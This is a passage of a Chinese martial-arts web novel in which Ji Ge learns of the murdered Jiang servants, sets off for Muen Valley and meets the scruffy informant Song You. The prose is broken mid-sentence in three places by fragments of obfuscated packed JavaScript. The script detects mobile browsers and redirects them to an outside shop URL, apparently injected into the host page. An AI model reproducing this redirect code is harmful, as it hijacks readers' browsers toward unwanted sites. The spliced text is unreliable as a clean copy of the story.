季歌依言坐下。待到一番真气输送完毕,立觉四肢百骸的筋骨都通了,体内郁结的寒气也慢慢化开,产生了些微的暖意。 季怀璋将他扶起来,沉声道:“这套真气名唤‘稳正’,有了它,你以后练九洲剑法会轻松不少。相信三十二式很快便能突破,一百二十招剑式指日可待。”说着拍了拍他的背,自豪道:“我季怀璋的儿子,聪明着呢!”脸上不乏得意之色。 季歌撇了撇嘴,道:“方才是谁说我不学无术,愚不可及了?” 季怀璋一怔,哈哈大笑,道:“看来还是怪我这个当父亲的啊。” “没有。”季歌忙道。 过了晌午,山上的仆人给父子俩送来午饭。二人坐在地上边吃边聊。季歌给季怀璋讲自己下山后的奇遇,这一趟帮扶了多少孤儿寡母,又结识了几个朋友,目睹了多少门派的趣事,全程比手画脚,兴致极高。只觉从小到大二十年来,第一次与严肃板正的父亲这般剖白坦诚,谈笑风生,就连山间的风景都迷人了不少。 季怀璋则一声不吭地听他讲述沿途遇到的各种奇事、趣事和诡事,全程面无表情。听他说到中途,突然问道:“那沐恩谷究竟什么来头?” 季歌正说到兴头上,被他这么一问,突然面色滞住,没想到父亲还记着此事。 他方才一番兴高采烈的讲述中并未提及沐恩谷,只因他对沐恩谷之行一直心存敏感,一来因为那沐恩谷离奇诡异,尚未辨清其中的黑白与善恶。二来沐恩谷与江家灭门案脱不了干系,自己又牵涉其中,还因此连累了父亲荣登江湖盟主之事,一直心怀歉疚,听父亲这么问,当即住嘴不说。 季怀璋见他不愿意说,沉声道:“喻理虽然语出栽赃嫁祸,但以你昨天的反应来看,你应当是去过那沐恩谷,在为父面前,有什么不能说的?”语气稍显严厉。 季歌闷声道:“那沐恩谷的诡异之处孩儿尚没有弄清楚,不知从何说起。” 季怀璋道:“你只说去那里见到了什么,遇到了什么事,一件一件说,一个细节都不要放过。” 季歌抬起头来,见他一双鹰眼隐隐透着威压之势,当即心里有些害怕。他委实不想提及沐恩谷,但见父亲逼得太紧,那凝重严肃的脸色,那冷冽逼视的眼神,分明一副逼你不得不说的架势,不由心下暗忖:“既然父亲已经相信我去过沐恩谷了,再隐瞒恐怕也无济于事。” 思考再三,终是将那日在谷中的所见所闻说了出来,唯独将临行前与汤应寿的对话隐去不提。 季怀璋听着听着,脸色倏尔变得凝重。他自言自语:“天下当真有这样古怪的秘籍,可以化解七伤拳的危害?真是闻所未闻。” 季歌皱眉道:“此事我也觉着有些古怪。” 说到这里,突然想起一事,从怀里掏出在江家草丛里捡到的那支七星十字镖,递给父亲,道:“这是在江平川家里捡到的,您看一下,看是不是我们衡山之物。” 季怀璋看他一眼,怔怔地接过七星镖,细看起来。 只见季怀璋看着那枚十字镖,脸色变得愈发凝重。季歌心下已明白了几分,沉声道:“我听说十年前,父亲将我们衡山散落在江湖上的七星十字镖有偿收了回来,全数封禁在兵器库,不允许再有人使用。发射七星镖的机关暗器也是我们衡山自制的七星弩,单独使用十字镖发挥不出它的真正威力,照这个逻辑,当年应该没有人会私藏此镖,不予交还吧?” 说完,却见季怀璋手握七星镖,望着山间的云雾怔怔出神。 季歌道:“如果当年的七星十字镖尽数收了回来,如何还会有两支遗落在外。就算当年有一两支没有收回来,这么多年过去,也该生锈了吧?可是……为何这支七星镖和喻理手里的七星镖光洁如新,灿然生辉,仿佛新制的一般?” 说着将疑惑的眼神望向季怀璋,欲言又止。 隔了良久,季怀璋方始回过神来,说道:“七星镖的结构由为父精心设计,每一支镖都有特定的七星弩机才能发射,就像锁和钥匙,不登对无法使用,仿制的镖更不能从七星弩机里射出来。并且就算仿得了外表,也仿制不了弩机和七星镖的结构。” 说着眼望远方,面现迷惘。 季歌不知他何以会是这个表情,不敢出声,生怕搅扰了他思考。 只见季怀璋握着七星镖,一直望着天边,口中喃喃道:“不可能,不可能啊……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468431|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季歌道:“不可能什么?” 季怀璋回过神来,察觉到季歌看自己的眼神十分怪异,连忙敛了敛容,恢复了往日的正经严肃,道:“这支七星镖为父先拿回去了,抽空在弩机上一试,看是否真是衡山之物。此事确定之前,你先不要外传,对谁都不能说,连你娘都不能告诉。” 季歌虽不知他为何不让告诉娘,但见他表情严肃,也不好违逆,于是点了点头,心里却想:“娘早就知道了。” 季怀璋看着手中的七星镖沉默良久,说道:“这沐恩谷来路不明,处处透着诡异,你以后不能再去,一旦惹祸上身,只怕为父也不好收场。” 季歌虽不明所以,但见他语气认真,心里隐隐也觉着此事想来必不简单,于是又点了点头。隔了半晌,说道:“父亲,江家那两个仆人肯定在撒谎,还得尽快找到他二人,严加拷问才是,必得从他们口中逼问出江家灭门案的真相,还有陷害” 季怀璋叹了叹气,道:“昨日散会后,为父派人暗中跟踪喻理和那两个仆人。他三人下山后,在五里地外的一家客栈投宿住店,进去后便没有再出来。哨子在外面监视了整整一夜,未见他三人外出,到今天早晨还是没见他三人露面。派去监视的人担心事情有变,最后冲进了客栈,向店掌柜打听清楚了三人的房间,直接冲上楼去。” “到了房间门口,却发现房门从里面反锁上了,没有推开。一脚把门踹开,发现那两个家仆倒在血泊里,脖颈被人割断,身子早就凉了,像是昨天夜里便死了。派去的人发觉不对,赶紧又去到喻理的房间,这才发现此人早已不见影踪。” 季歌倒抽口凉气,道:“是喻理杀了他二人?” 季怀璋点头道:“应当是,杀人灭口,销毁证据。” 季歌怒道:“这喻理还真是丧尽天良,也不知此人到底是何身份,何故如此害我们衡山。” 季怀璋深吸口气,道:“眼下还不清楚,诸多谜团尚不明朗,还需后续慢慢调查。”说着望向季歌,道:“如今,整个江湖的人都知道你被为父禁足在了思过崖上,若是此时放你下来,难免会落人口舌,指责为父包庇逆子,处事不公,传扬出去,于我们问心剑派声名有损。万一再有好事之徒,怂恿其他人强逼为父送你去快意堂处置,那便大事不妙了。做戏要做全套,你且在崖上再待几日,待为父查清事情真相,再放你下来。如何?” 季歌听他此言有理,又觉父亲之命不可违,此时将自己放下去也别无用处,便道:“听凭父亲安排。” 季怀璋点了点头,道:“吃的用的都别担心,明日就叫你娘派人送上山来。” 季歌道:“好。”顿了顿,“那个……父亲,能不能先换床干净的被褥来……” 季怀璋哈哈大笑,拍了拍他的肩,道:“你呀,被你娘养成姑娘了。” 说着袍袖一挥,迈开大步,快步向山崖下走去,身形转眼隐没于夜色当中。 26. 邋遢少年 季怀璋走后不久,季晨抱着一床新被褥上来了。帮季歌铺好床后,季晨坐在褥子上,幽幽的道:“方才过来的时候,路过老爷和夫人的房间,他们好像吵架了。” 季歌挨着他坐下,道:“为何吵架?” 季晨道:“老爷好像责怪夫人既然知道少爷拿回来那支七星镖,为何不提前告诉他。” 季歌道:“娘怎么说?” 季晨道:“夫人说,就算提前告诉老爷,盛会照样得开,谁也防不住喻理会出现在里头。临了还是得经受这么一遭。” 季歌心想:“倒也是这么个道理。”问道:“父亲怎么说?” 季晨道:“老爷听夫人说完,还是很生气,嗓门扯得很高,都把夫人给吼哭了。还说至少提前告诉他,他就知道有人要在掌门人大会上阻止他登江湖盟主之位了,至少心里有个准备,可以见机行事。这下好了,盟主之位打水漂了,问心剑派和自己儿子还背上了残害江家三十二口人的命案,背地里被别人阴了一把,一点防备也没有,事情澄清之前还得一直被别人戳脊梁骨,太窝囊了。” 季歌道:“我娘怎么说?” 季晨道:“夫人说,还不是看老爷这些天一直在磨镜台忙活,顾不上别的,看老爷操劳,出于好心,才没有打扰。说到这里,夫人心里委屈,便哭了。老爷心里有火,也没劝夫人,一脚蹬开门出去了。” 说到这里,幽幽地瞧了一眼季歌,道:“昨晚老爷和夫人好像是分房睡的。” 季歌心里沉了沉,道:“没事,小时候他俩经常这样,过一阵子就好了。”轻轻叹气,“父亲也真是的,事已至此,说这些又有何用,闲得没事凶娘做什么?” 嘴上这么说,心里却道:“还是得尽快下山,找那沐恩谷探个究竟。” 下午,灵甜来了。 和上次一样,依旧一副道姑模样,化着极重的脸妆,手上还拎了一箩筐新鲜水果。 黄庭观位于集贤峰脚下,距离祝融峰有些距离,走过来得大半日。也不知她这一路,经历了多少摸爬滚打,翻了多少山,裙子被枝叶划破了多少处。 在季怀璋四两拨千斤的指导下,季歌一夜便突破了九洲剑法的第三十二层,进展神速。练得累了,他背靠大树躺了下去,从灵甜带来的箩筐里拿起一个苹果,一口咬下去。灵甜乖巧地蹲在他的脚边,以手支颐,认真看着他吃苹果。只觉那刀刻般的眉眼,高挺的鼻梁,棱角分明的侧脸,怎么都看不够。 季歌察觉到,斜眼睨她,道:“灵甜姑子,你可是犯戒了哦。” 灵甜一听,一双月牙眼立时眯成了一条缝,笑道:“我哪天不犯戒,玉玄子都见怪不怪了。他拿我没法子,只能睁只眼闭只眼了。” 季歌道:“是啊,你天生一张巧嘴,伶牙俐齿,巧舌如簧的,玉玄子一介修道之人,清正纯良,哪能说得过你。” 灵甜嘻嘻一笑,过来搂住季歌一条胳膊,靠在了他的肩上。只觉季哥哥的怀抱宽大而温暖,倒上去便像是陷入了一张大床,特别有安全感。 季歌看着她,眼里蕴出笑意来。 这边搂着灵甜,心里却对父亲昨晚的话念念不忘:那沐恩谷当真去不得吗?谷底那般隐秘诡谲,到底藏了怎样不为人知的秘密?汤应寿为何要假冒谷主,代为出面?沐恩谷与江家灭门一案之间到底有没有关联,有何关联?如果再去一趟,真的会落到不好收拾的局面拿?若真如此,到时又该如何向父亲交代? 他心中千头万绪,愁肠百结,想了半日,转念又想:祸是我闯出来的,理应由我去了结。父亲有父亲的打算,我也有我的想法。父亲喜欢用自己的方式解决问题,那我也该有自己的方式去探路。 况且,父亲那般看重自己的名声,看重衡山的威望,他能咽下这口气,自己如何咽得下?如何还能坐视不理,看着父亲代己受过? 是可忍孰不可忍?大丈夫若是连一个小小的沐恩谷都搞不定,还能成什么事?想到这里,当即坐起身来,道:“甜儿,你想不想去那沐恩谷看看情况?” 灵甜正吃着樱桃,闻言,从他身上起来,道:“沐恩谷?就是你说的那个古怪地方?” 季歌道:“没错。” 灵甜皱眉道:“可那沐恩谷不是与江家灭门案脱不了干系么?眼下你身负嫌疑,再去合适吗?” 季歌心想:“甜儿说的也不无道理,眼下以我戴罪之身确实不该下山去那摸不清底细的地方添乱,给自己徒增是非是轻,万一最后没搞清楚其中端倪,反而越陷越深,难以自拔,可就麻烦了。” 可转念又想:“与其坐以待毙,困在这无聊的思过崖上不得自由,不如再探谷底,搞清其中玄机,洗脱问心剑派和自己身上的嫌疑才是要紧。” 心里一沉,当即道:“那喻理不管受了谁的指使,总归是意图阻挠,不想父亲登上江湖盟主之位。他和他的同党背后,一定在下一盘很大的棋,而父亲的盟主之位,势必会对他们的阴谋造成阻碍。如今既然他们已经出手,我们为何不接,为何还要放任不管,任由他们就这么欺负人。” 说到这里,陡然激起了心中斗志,站起身道:“你若是想去,三日后,我带你下山,我们一同去那沐恩谷一探究竟。” 灵甜早就在黄庭观待腻了,听他这么一说,当即喜出望外,高兴道:“好啊!” 她终于又能和她的季哥哥一道了。 三日后,季歌带着灵甜和乌兰,避开山上的守卫,悄然下了山。 此时正值晌午,孟浪和张衡已在顺水鱼庄等候多时。见他二人进来,孟浪走过去,拉住季歌一只手,将他从头到脚打量了一番,一边打量一边啧啧了两声。 季歌心觉好笑,道:“怎么了孟兄,几日不见,如隔三秋?” 孟浪拽着他的手,一边打量,一边继续啧啧道:“穿这么漂亮,这哪是行走江湖啊。”转头看向灵甜,道:“灵甜妹子,这又是你给准备的吧?” 灵甜蹙着眉,将季歌打量了一遍,道:“怎么了,有什么不对吗?” 孟浪摸着下巴道:“也不是不对,就是……太招摇了。” 指了指季歌身上这件衣服,道:“挺贵的吧,穿这么好,出门打打杀杀,不怕扯开线了?还有头顶上……簪子都插满了,比姑娘还姑娘。” 灵甜听他这么说,将季歌又从头到脚打量了一遍,还是没觉得有什么不对,道:“那有什么的,我季哥哥有的是银子,打架弄坏了再买呗。” 孟浪嘿嘿两笑,道:“就怕劫财的不多,都是来劫色的。 灵甜白他一眼,道:“哪有你说的那么夸张,我的季哥哥功夫好着呢,谁能把他怎么样。” 张衡听着他三人说话,走过来将季歌墨绿色的宽大衣摆往起一撩,一番打量过后,啧啧道:“内里质地绵柔细腻,是绸缎做的。”食指和拇指指尖将罩在外面的一层纱衣揉搓了两下,道:“外面是丝,蚕丝,上好的料子。” 季歌听他似乎对衣服的面料有点研究,道:“张兄家里是做什么的,很懂啊。” 张衡摆摆手道:“不提也罢。” 孟浪在一旁接话道:“我这三弟啊,小时候家里是开绸缎庄的,后来经营不善,家道中落,不开了,这才和我一样流落江湖。不然他跟你一样,也是个爹疼娘亲的富贵少爷,也能穿上这一身好料子。” “原来如此。”季歌道,“回头到了镇上,我给二位哥哥一人好好做上几十身,让二位哥哥好好穿个够。”说着拍了拍腰包,“银子管够,不够了让我娘再寄些过来。” 孟浪忙道:“那怎么好意思。” 二人这边说着话,张衡又打量起了季歌的头饰。只见他一头乌发披散在肩背,头顶撩起一撮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468432|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿挽了个发髻,上面插了根帝王绿翡翠簪,翠然欲滴,主打的就是一个浓、正、阳、匀。翡翠簪下面,又簪了一排小小的玻璃种飘花,冰清玉润,莹然生光。 “高级货,上等货……” 张衡一边打量,一边发出啧啧声,道:“季兄弟,你打扮得这么花里胡哨,生怕山匪不打劫啊……” 季歌道:“这有什么的,还没给你们看这个呢。”撩起裙摆,将系在腰间的一块碗口大的玉佩拿出来,张衡登时瞠目结舌。 只见那玉佩白如截肪,润如凝脂,是一块羊脂白玉。肤感细腻,微微带点甘黄,皮很老了。与季歌这一身打扮搭配,显得低调而奢华,如同媚散群芳,真真儿是让人无地自容。 重点是它很大,真的很大,比碗口还大…… 张衡搔了搔头,道:“那个……要不你先收起来,免得给我们惹出事来。” 孟浪狠狠点了下头,表示认同。季歌见他这么说,于是将玉佩摘下来,一把丢进灵甜怀里,道:“收好了。” “等银子花完,就把它当了。” 灵甜听话地将玉佩收进怀里,见孟浪和张衡一副艳羡眼光,心想:“没见过世面的样子。” 四人在靠窗的位置坐下。过不多时,江团上来了。张衡尝了两口,赞道:“肉质细嫩,入口即化,口味鲜美,想不到衡山地处中原,也能吃上这等美味。” 季歌也夹了一筷子,道:“以前在山上的时候,季晨经常订这家,它家的鲈鱼和黑鱼也不错。”顿了顿,“张兄家是哪里,是不是也经常吃鱼?” 张衡道:“老家临安,小时候经常吃白鱼和银鱼。不过也败落二十多年了,好多年没回去了。” “哦……”季歌说着看向孟浪,道:“孟兄呢,何方人士?” 孟浪咂着嘴道:“齐鲁人士,不值得一提。” “哦?”季歌笑出声来,道:“孟兄流落江湖,也是家道中落所致?” 一语毕,三人俱都大笑起来。 “哎哎哎!” 灵甜筷子敲着碗口,道:“吃鱼的时候不要说话,小心鱼刺卡了喉咙。” 三人于是都不说话了。默默吃了半晌,季歌正挑着鱼刺,灵甜忽然碰了碰他的胳膊,凑过脸来,压低声音道:“季哥哥,你看那个人怎么在吃面条啊?”边说边朝窗户外面使眼色。 季歌循着她的目光,看向窗外。只见隔了窗棂,外面的四方桌上坐了一个少年,身量不高,约莫十七八岁,正在稀里呼噜地吸着面条吃。 他身上穿着一件旧衣,上面打满了补丁。面前放了碗汤面,连面带汤一起吸入口中,连筷子都不用。吃饭时举止粗鲁,声音贼大,吃相也不甚雅观,嘴边、脸上、桌上、胸脯上全都沾满了汤汤水水,完全不像大人,倒像是个三岁的孩子。 孟浪张衡听到动静,纷纷停了下来,一齐望向窗外。 似是察觉到有人在看他,少年放下面碗,朝这里望了一眼。而后站起身,走了进来。来到季歌的桌前,他先是将季歌看了两眼,而后突然拉开一张长凳坐下,从筷桶里摸出一双筷子,放在嘴里抿了两抿,便一把插进铁锅里,搅了起来。 季歌:“……” 灵甜:“……” 孟浪:“……” 张衡:“……” 四人同时怔住。 只见那少年一双筷子在锅里搅来搅去,搅了个够,似乎终于涮干净了,这才夹了一块鱼至碗里,吃了起来。 吃相十分不雅,一阵狼吞虎咽,不过片刻,桌上便洒得汤汤水水到处都是。衣领、前胸被鱼汤泡湿,牙齿间嵌了根菜叶子,也不拽掉,含着菜叶子就在那儿不停地咀嚼。筷子上沾了鱼刺也不剔掉,直接带着鱼刺将筷子伸进锅里夹鱼,一点都不讲究。 季歌四人你看看我,我看看你,一时间面面相觑。 27. 邋遢少年(2) 少年自顾自吃了半天,见四人都不动筷,边用嘴往桌上滤鱼刺,边道:“一起吃啊!” “……” 季歌四人对视了一眼,都表现得有些无所适从。 少年抬眼看了他一眼,道:“早就听闻衡山问心剑派季怀璋季掌门之子,一向古道热肠,为人慷慨仗义。既然季少爷都觉着我在鱼庄吃面不妥了,那我指定要来凑一凑热闹,沾沾季少爷的光。” “……” 季歌一时对答不上来。 灵甜看了半天,终于看不下去了,叫道:“喂!你谁啊!打哪儿来的!这是我们的鱼,你凭什么过来吃,我们又不认识你!,有没有礼貌啊,要饭要到主人桌上来了!” 季歌听她语气不忿,生怕和他起了冲突,忙道:“甜儿,休得无礼……” 灵甜道:“你若真的想吃,真的穷得叮当响,跟我季哥哥说一声,给你单开一桌也行,凭什么吃我们的啊!你吃了我们还怎么吃!” 闻言,少年缓缓放下了筷子,抬起眼道:“什么你吃了我们还怎么吃?我寻思我也没有往锅里吐口水啊。” 灵甜瞬间语塞,气得脸都白了。 季歌握了握她的手,向那少年道:“这位小兄弟若是没吃饱,或是觉着面条不好吃,喜欢吃鱼,我可以请你吃。”语声十分温和。 少年淡然一笑,道:“你的事儿只有我能解,过了这村儿就没这店儿了。”说着夹起一块鱼,向他示意了一下,道““多谢季少爷好意,就冲季少爷慷慨大气,襟怀洒落这份儿上,你的事我应下了。错过这条鱼,就是求我都没用。” “这顿算是定金。” 闻言,季歌与孟浪张衡对视一眼,心道:“果然有备而来。” 不然哪个陌生人会突然上了别人的桌,不看主人脸色,便自顾自地吃起来。只是他这番话颇有点反客为主的意味了,自己并未有求于他,他便以请吃饭的由头应下,倒让人不得不拒绝了。 季歌以手支颐,饶有兴致地看着他,道:“小兄弟可知我遇到了何事?” “知道。” 少年头也不抬,道:“不就是牵涉到了江家灭门的命案么。” 季歌心里咯噔一下,禁不住又看了孟浪张衡一眼。这时,少年幽幽抬起头来,道:“你不用看他俩,他俩没什么本事,要能帮上早帮了。” 说着语气一顿,目光炯然,“眼下能帮上你的只有我。” “你……” 孟浪气不打一处来,猛地跳起来,抡拳就要往少年脸上招呼。张衡及时拦住,劝道:“二哥别冲动,先听听这位公子说什么。” 季歌也道:“孟兄莫要造次,大家既然相逢,便是朋友,何必动手,伤了和气。”按了孟浪坐下,向那少年道:“江家命案之事,小兄弟不妨细说一说。” 少年并不理他,目光只平静无波地看着坐在对面,一脸气急败坏的孟浪,淡声道:“方才那通拳头若是招呼到了我的脸上,恐怕你这条胳膊已经废了。” “我身子是小,可也不是吃素的。兄台若是不信,便请来试。” 他说话语气波澜不惊,脸色镇定如恒,似乎对季歌四人豪不畏惧,就连方才孟浪对他出手,眼都不眨一下,底细颇有些深不可测。 张衡见他这么说,忙道:“不用不用,我二哥刚才闹着玩呢,不是认真的。” 孟浪本来还想动手,听他这么一说,立时感觉到一股威胁意味,心想:“这小子敢这么说,该不会是有真本事吧?”若他真有一身功夫,以自己霹雳帮这点水分,决计是打不过他。终于还是忍了,面露不忿之色。 灵甜见他脸色难看,生气道:“孟大哥,别理他,小心着了他的道儿。他是故意的,故意激怒你,故意逼得你和他动手。你若真动手了,可就上了他的当了。” 闻言,少年冷冷一哼,并不言语。 季歌细细打量着他那一张摸不出任何情绪的脸,心想:“江湖小报上说,敢于孤身行走江湖之人十有八九都有真本事。这少年年纪轻轻,便敢上陌生人的桌上蹭饭,想来胆子不小。非但知道我的大名和出身,竟然还知道我身上背了江家灭门的冤案,还口口声声说能帮我解决,也只有他能解决,看来是有真本事,还是小心为上的好。看他突然出现,到底要做什么。” 于是缓和了脸色,笑眯眯道:“还请小兄弟将知道的实情告知一二。” 少年面无表情地看了他一眼,低下头来,继续吃鱼。半晌才道:“吃完再说。” “还饿着,有没有礼貌啊。” 灵甜听他言语傲慢,一双脏兮兮的筷子又在锅里马不停蹄地搅来搅去,心里厌恶,正想出言呵斥,又担心季歌说她,于是将委屈巴巴的眼神望向季歌,道:“季哥哥……你看看,太过分了……” 季歌莞尔一笑,看着少年道:“好,吃完再说,天大的事也得往边儿放,吃饭要紧。”说着一双箸往桌上一顿,两根木筷变齐整了。 正准备伸进锅里,灵甜突然叫道:“等一下!” 季歌不明所以地回过头来,已见她自怀里取出一根细细的银针。她将银针插进锅里,看着那少年道:“保险起见,还是测一测的好,焉知他的筷子有没有毒。” 少年一声冷笑,道:“我若想下毒,你们早放倒了,何至于等到现在。” 季歌尴尬地笑了笑,道:“确实,小兄弟说的没错,甜儿你是有点杞人忧天了。”说着拍了拍她握着银针的手,道:“快收了吧。” 灵甜不应,依然保持着手握银针的姿势,眼光却是看着少年。少年斜斜地将目光瞟过,翻出了一丝眼白。 银针未变色。灵甜将银针收了回去,将信将疑地看了那少年一眼。 季歌嘿嘿一笑,道:“现在可以吃了吧?”筷子伸进锅里,夹起一块鱼,放入碗里。孟浪心里有气,并不动筷,气呼呼地坐着。灵甜也绷着张脸,不愿意吃。气氛略有些尴尬。 张衡见大家都不吃,只有季歌一人吃,着实有些过意不去。心想:“季家少爷都不介意,我介意个什么劲儿?”犹豫再三,也动起了筷子。 似是感觉到有人加入,会跟他抢食一般,少年夹鱼的速度突然间加快了,一块接似一块,生怕自己吃少了。 灵甜心道:“下贱东西,没见过世面。” 只见那少年不但吃相不雅,连吃饭的动作也极为夸张,一会儿耸肩,一会儿上下晃动手臂,一会儿吧唧嘴。握在手里的那一双筷子,在铁锅里翻来覆去,被他使得就像是一把锅铲,四处翻飞。桌子上方忙活不停,桌子下面也没闲着,少年翘着二郎腿,搭在上面的那条腿就在那儿不停地抖啊抖,抖得整张桌子晃个没完。 灵甜实在看不下去了,低低骂道:“粗鄙。” 孟浪紧接着来了句:“邋遢。” 张衡也默默地放下筷子,道:“不讲究。” 季歌却仍握着筷子不放,目不转睛地看着少年那一双筷子在铁锅里不住地上下翻铲,脸上始终带着宠溺的笑意,缓缓的道:“可爱。” 话一出口,便觉失言。三道锐利的目光立时如电射来。季歌连忙掩了掩脸上的笑意,道:“吃鱼,吃鱼……” 灵甜又夹了几根凉菜吃,便一筷子摔在桌上,道:“不吃了,倒胃口!”气得脸蛋鼓鼓。张衡也默默放下了筷子。 少年瞧了她一眼,嘿嘿两笑,道:“这位小道姑,此去沐恩谷路途遥远,小心别饿坏了肚子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468433|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 灵甜一听,惊道:“你怎知我是道姑?” 张衡也道:“你怎知我们要去沐恩谷?” 少年冷冷一笑,没有答话。 他说话声音粗俗,像是在故意用喉音,发出低沉的嗓音,说话方式完全像个山野村夫。个子也矮,比灵甜高不了多少。身上唯一可取之处,就是样貌还算看得过去,长了一张鹅蛋脸,面容平整素净,五官浅淡柔和,下颌线轮廓清晰却又温和,给人攻击性不强。 季歌始终笑眯眯地看着他吃鱼,眼底漾出温煦的笑意。 少年从正午一直吃到黄昏,一双筷子在海里捞了又捞,随着最后一声“嗝儿”,带着长长的尾音从嗓子眼里飘上来,少年终于吃饱了,停下了筷子。季歌笑着从怀里掏出一张手帕递了过去,温声道:“把嘴擦一下。” “季哥哥……” 灵甜白眼都快翻上天了。 季歌看了她一眼,道:“无妨。” 看着递至眼前的干净手帕,少年犹豫了一瞬,终于还是接过。拿在手里,往嘴上胡乱抹咯两抹,一张蓝底白花的手帕立时变成了蓝底黄花,沾满了油腥。 “真恶心。” 灵甜脸上现出鄙夷来。 张衡也有些迷茫地搔了搔头。 孟浪则目瞪口呆。 只见那少年擦完嘴,将一张油帕子往腰间随便一塞,看着四人道:“有什么想问的便问吧。” 张衡立即道:“阁下是什么人?” 少年面无表情道:“法不传六耳,道不传非人。秘而不露三缄其口,天上地下,世事尽知。” 卖了个关子。 张衡想了想,道:“湖州银丝山庄?” 少年道:“正是。” 张衡道:“宋怀义宋老先生是你什么人?” 少年道:“不是别人,正是家父。” “你是银丝山庄的少庄主?” “现在已经是庄主了。” “为何?” “家父上个月刚刚病故。” “……” 张衡看向孟浪,道:“我问完了,二哥你来。” 孟浪铁青着脸,道:“我跟他没什么好说的。” 灵甜一声冷哼,道:“银丝山庄具体是干什么的,难不成还是贩卖银丝的?”语带嘲讽。 少年凉凉一笑,道:“小道姑说得没错啊,就是干贩卖银丝的生意。” 季歌道:“贩卖银丝和上知天文下知地理有什么关系?” 少年没有答话,张衡附在季歌耳旁,小声道:“你想啊,银丝,阴私……” 季歌这才明白,原来是打着贩卖银丝的名头贩卖消息,难怪这小小少年会知晓自己的身份,对自己背了命案一事了如指掌,看来是有硬通货。心想,说不定以后想要打探沐恩谷的消息,洗清身上的冤屈,得靠他不少。 当即站起身,朝他作了一揖,道:“在下衡山季歌,敢问阁下怎么称呼。” “宋游。” 少年惜字如金。 季歌笑道:“游弟好。” 少年瞥了他一眼,未予还礼。 灵甜看不下去,怪声怪气道:“季哥哥,你别一见了陌生人就称兄道弟的,你知他是什么路数?”斜斜白了宋游一眼,“焉知他是好人坏人。” 闻言,少年目光转向季歌,冷笑道:“季少爷,看来你这当道姑的女伴对你很是上心啊,一举一动都不放过。” 说完却见季歌并不答话,只目不转睛地看着自己,眼里蕴出款款的笑意。 他道:“世上哪有绝对的好人和绝对的坏人,我觉得他是好人,他便是好人。我相信他是好人,他便是好人。” 28. 邋遢少年(3) 闻言,少年眸光一动,冷冷道:“别想说软话收买我,要想银丝山庄替你们打探消息,是有条件的。” 孟浪道:“怎么成我们向你打探消息了,方才不是你自己找过来的?” 宋游饮了口茶,道:“算了,看在这位季少爷还算大方,赏饭吃的份儿上,帮你们一茬吧。” 完全不接孟浪的话,变被动为主动。 季歌正待说话,又听他道:“天上地下,无所不知,除了沐恩谷。” 孟浪道:“巧了,我们想知道的还就是沐恩谷。” 季歌道:“为何除了沐恩谷?” 宋游道:“沐恩谷阴邪鬼祟,特别是那道断崖,堆了很多死人,怨气太重,插手他们的事于己不利。” “哦……” 季歌似懂非懂。 很快,宋游又道:“不过,我可以陪你们去沐恩谷。” 张衡道:“那江家的命案呢?” 宋游道:“等离开沐恩谷,带你们去见喻理。” 张衡怪道:“喻理不是游侠吗,行踪诡秘,居无定所,怎么找?” 宋游道:“那是又一个问题了,我自有办法。” 孟浪见他话不明说,说一半藏一半的,当下心里不爽,站起身道:“走了走了,懒得跟他废话。”径直向外走去。张衡见二哥不高兴了,连忙跟了出去。 季歌看他二人径直走了,又见一锅鱼也吃得差不多了,于是向宋游道:“既然小兄弟愿意陪我们去沐恩谷一趟,现在天色也不早了,山高路远,我们还是尽早出发为妙。”目光温存。 宋游微一点头,道:“听凭季少爷吩咐。”站起身来。 季歌见他站起来,比自己矮了一个头,在男子里显得有些袖珍,心觉好笑,道:“游弟真是个可爱有趣的人。你看咱俩都认识这么久了,你总季少爷季少爷的叫,倒显得你我生分了。” 顿了顿,“这样吧,我虚长你几岁,你就叫我一声兄长吧。” 宋游清浅淡漠的眼光瞟向他,道:“不过是吃了顿鱼的功夫,也算认识很久?” “……” 季歌扶了扶额,“这不是为了日后相处方便嘛,方便拉近彼此感情。” 宋游道:“我们之间除了交易,再无其他。” “……” 季歌再次扶额,“那个……游弟,你高兴就好,话题到此为止。” 灵甜向他二人翻了个白眼,一个人出了鱼庄。 三人从鱼庄出来,看到孟浪张衡已经走出了老远,季歌道:“快走吧,大家还是不要分开太久,不安全。”迈开步伐追了上去,灵甜一言不发,跟在后面。 二人紧赶慢赶地追了半天,季歌忽然想起一事来,道:“游弟啊,你说现在去沐恩谷,不在那老谷主的开谷期,他会放我们进去吗?” 迟迟不见有人回应,回过头来,却见身旁只有灵甜,不见宋游。正待询问,灵甜翻翻白眼,道:“后边儿呢。” 季歌回头一看,只见宋游不知何时已远远地落在后面,昏暗的天色中看着小小的一只,一身孤寂落寞。季歌放缓了脚步,道:“等等吧。” 